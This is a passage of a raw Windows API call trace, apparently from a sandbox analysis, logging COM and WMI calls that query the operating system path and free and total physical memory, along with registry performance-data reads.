Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268a08) returned 0x0 [0270.352] IMarshal:GetUnmarshalClass (in: This=0x1b268a08, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0270.352] IUnknown:Release (This=0x1b268a08) returned 0x3 [0270.352] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0270.353] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0270.353] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0270.353] IUnknown:Release (This=0x1b268a00) returned 0x2 [0270.353] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0270.353] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0270.353] IUnknown:QueryInterface (in: This=0x1b268a00, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268a00) returned 0x0 [0270.353] IUnknown:AddRef (This=0x1b268a00) returned 0x4 [0270.353] IUnknown:Release (This=0x1b268a00) returned 0x3 [0270.353] IUnknown:Release (This=0x1b268a00) returned 0x2 [0270.353] CoTaskMemFree (pv=0x1d1c0f30) [0270.353] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0270.353] IUnknown:AddRef (This=0x1b268a00) returned 0x3 [0270.353] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0270.353] IWbemClassObject:Get (in: This=0x1b268a00, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0270.353] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0270.353] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0270.354] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0270.354] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0270.354] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0270.354] IUnknown:Release (This=0x77dd58) returned 0x1 [0270.355] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d2183b0) returned 0x0 [0270.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2183b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0270.355] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2183b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294a60) returned 0x0 [0270.355] WbemDefPath:IUnknown:Release (This=0x1d2183b0) returned 0x0 [0270.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294a60) returned 0x0 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0270.356] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d217ef0) returned 0x0 [0270.356] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d217ef0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0270.356] WbemDefPath:IUnknown:Release (This=0x1d217ef0) returned 0x3 [0270.356] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0270.356] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0270.356] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0270.356] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x1 [0270.356] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0270.356] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0270.356] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294a60, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294a60) returned 0x0 [0270.356] WbemDefPath:IUnknown:AddRef (This=0x1b294a60) returned 0x3 [0270.356] WbemDefPath:IUnknown:Release (This=0x1b294a60) returned 0x2 [0270.356] WbemDefPath:IWbemPath:SetText (This=0x1b294a60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.357] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26186b0*=0, plFlavor=0x26186b4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26186b0*=21, plFlavor=0x26186b4*=0) returned 0x0 [0270.357] SysStringByteLen (bstr="1359840") returned 0xe [0270.357] SysStringByteLen (bstr="1359840") returned 0xe [0270.357] IWbemClassObject:Get (in: This=0x1b268a00, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26186b0*=21, plFlavor=0x26186b4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x26186b0*=21, plFlavor=0x26186b4*=0) returned 0x0 [0270.357] SysStringByteLen (bstr="1359840") returned 0xe [0270.357] SysStringByteLen (bstr="1359840") returned 0xe [0270.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0270.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0270.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0270.358] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26188a8*=0, plFlavor=0x26188ac*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26188a8*=21, plFlavor=0x26188ac*=0) returned 0x0 [0270.358] SysStringByteLen (bstr="2096620") returned 0xe [0270.358] SysStringByteLen (bstr="2096620") returned 0xe [0270.358] IWbemClassObject:Get (in: This=0x1b268a00, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26188a8*=21, plFlavor=0x26188ac*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x26188a8*=21, plFlavor=0x26188ac*=0) returned 0x0 [0270.358] SysStringByteLen (bstr="2096620") returned 0xe [0270.358] SysStringByteLen (bstr="2096620") returned 0xe [0270.358] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0270.358] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0270.358] IUnknown:Release (This=0x1b286320) returned 0x0 [0272.378] GetTickCount64 () returned 0x1ac0b9a [0272.381] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0272.382] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2711930, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2711930*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0272.385] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0272.385] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2722d48, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2722d48*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0272.393] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0272.393] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0272.393] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.393] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0272.394] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0272.394] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0272.394] IUnknown:Release (This=0x77dd58) returned 0x1 [0272.396] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d2185d0) returned 0x0 [0272.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2185d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0272.397] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d2185d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218350) returned 0x0 [0272.397] WbemLocator:IUnknown:Release (This=0x1d2185d0) returned 0x0 [0272.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218350) returned 0x0 [0272.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0272.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0272.398] WbemLocator:IUnknown:AddRef (This=0x1d218350) returned 0x3 [0272.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0272.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0272.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0272.398] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0272.398] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0272.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0272.398] WbemLocator:IUnknown:Release (This=0x1d218350) returned 0x2 [0272.398] WbemLocator:IUnknown:Release (This=0x1d218350) returned 0x1 [0272.398] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0272.398] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0272.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218350, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218350) returned 0x0 [0272.399] WbemLocator:IUnknown:AddRef (This=0x1d218350) returned 0x3 [0272.399] WbemLocator:IUnknown:Release (This=0x1d218350) returned 0x2 [0272.399] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0272.399] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0272.399] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.399] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d218410) returned 0x0 [0272.399] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d218410, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1d290590) returned 0x0 [0272.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b201e30) returned 0x0 [0272.432] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b201e30, pProxy=0x1d290590, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0272.433] WbemLocator:IUnknown:Release (This=0x1b201e30) returned 0x1 [0272.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b201e78) returned 0x0 [0272.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b201e30) returned 0x0 [0272.433] WbemLocator:IClientSecurity:SetBlanket (This=0x1b201e30, pProxy=0x1d290590, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0272.433] WbemLocator:IUnknown:Release (This=0x1b201e30) returned 0x2 [0272.433] WbemLocator:IUnknown:Release (This=0x1b201e78) returned 0x1 [0272.433] CoTaskMemFree (pv=0x1d1e6d80) [0272.434] WbemLocator:IUnknown:Release (This=0x1d218410) returned 0x0 [0272.434] WbemLocator:IUnknown:QueryInterface (in: This=0x1d290590, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b201e78) returned 0x0 [0272.434] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0272.434] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201e78, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0272.435] WbemLocator:IUnknown:QueryInterface (in: 